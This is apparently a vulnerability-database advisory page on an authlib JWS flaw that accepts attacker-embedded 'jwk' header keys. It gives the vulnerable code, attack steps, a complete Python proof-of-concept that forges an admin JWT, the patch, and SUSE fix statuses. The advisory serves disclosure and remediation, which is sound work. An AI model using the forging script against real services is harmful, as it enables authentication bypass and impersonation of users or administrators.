Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/authlib/authlib).
CVSS VectorVendor: https://github.com/authlib/authlib
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
4DescriptionCVE.org
Description
Summary
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid - bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py Vulnerable method: JsonWebSignature._prepare_algorithm_key() Lines: 272-273
elif key is None and "jwk" in header:
key = header["jwk"]
# ← attacker-controlled key used for verificationWhen key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value - which is fully attacker-controlled - and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the
jwkheader parameter is "NOT RECOMMENDED" because keys
embedded by the token submitter cannot be trusted as a verification anchor.
- §5.2 (Validation Algorithm) specifies the verification key MUST come from the *application
context*, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid)
# returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None - the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
{"role": "admin"}). - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
jwkheader field. - Attacker uses an unknown
kidto cause the key resolver to returnNone. - The library uses
header["jwk"]for verification - signature passes. - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptographyExploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None - token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)
# {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"
# PASSESExpected output:
{'sub': 'attacker', 'role': 'admin'}Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.pyImpact
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
key=Noneis passed directly, or- a key resolver callable returns
Nonefor unknown/rotatedkidvalues (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one - no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.
Minimal fix - remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]Recommended safe replacement - raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")AnalysisAI
A critical authentication bypass vulnerability in authlib's JWT signature verification allows attackers to forge arbitrary tokens by injecting their own cryptographic keys through the JWT header. The flaw affects all versions of authlib prior to 1.6.9 when applications use key resolution callbacks that can return None (common in JWKS-based authentication flows). A working proof-of-concept exists demonstrating complete authentication bypass, enabling attackers to impersonate any user or assume administrative privileges without valid credentials.
Technical ContextAI
The authlib library (CPE: pkg:pip/authlib) is a Python implementation of OAuth and JWT standards used for authentication and authorization. The vulnerability stems from improper trust boundary validation (CWE-347) in the JWS deserialization process, specifically in the _prepare_algorithm_key() method. When no verification key is provided or when a key resolver returns None, the library falls back to using the 'jwk' field from the attacker-controlled JWT header as the verification key, violating RFC 7515 sections 4.1.3 and 5.2 which explicitly forbid trusting embedded keys for verification.
RemediationAI
Upgrade authlib to version 1.6.9 or later immediately, as confirmed by the vendor patch available at commit a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681. For applications that cannot upgrade immediately, ensure all JWT verification functions explicitly handle None returns from key resolvers by raising exceptions rather than allowing fallthrough behavior. Review all JWT validation code to ensure keys are never extracted from untrusted JWT headers and always originate from trusted application context. The vendor's security advisory at https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5 provides additional guidance.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers
Same technique Deserialization
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Python 3 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 16.0 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-12478
GHSA-wvwj-cvrp-7pv5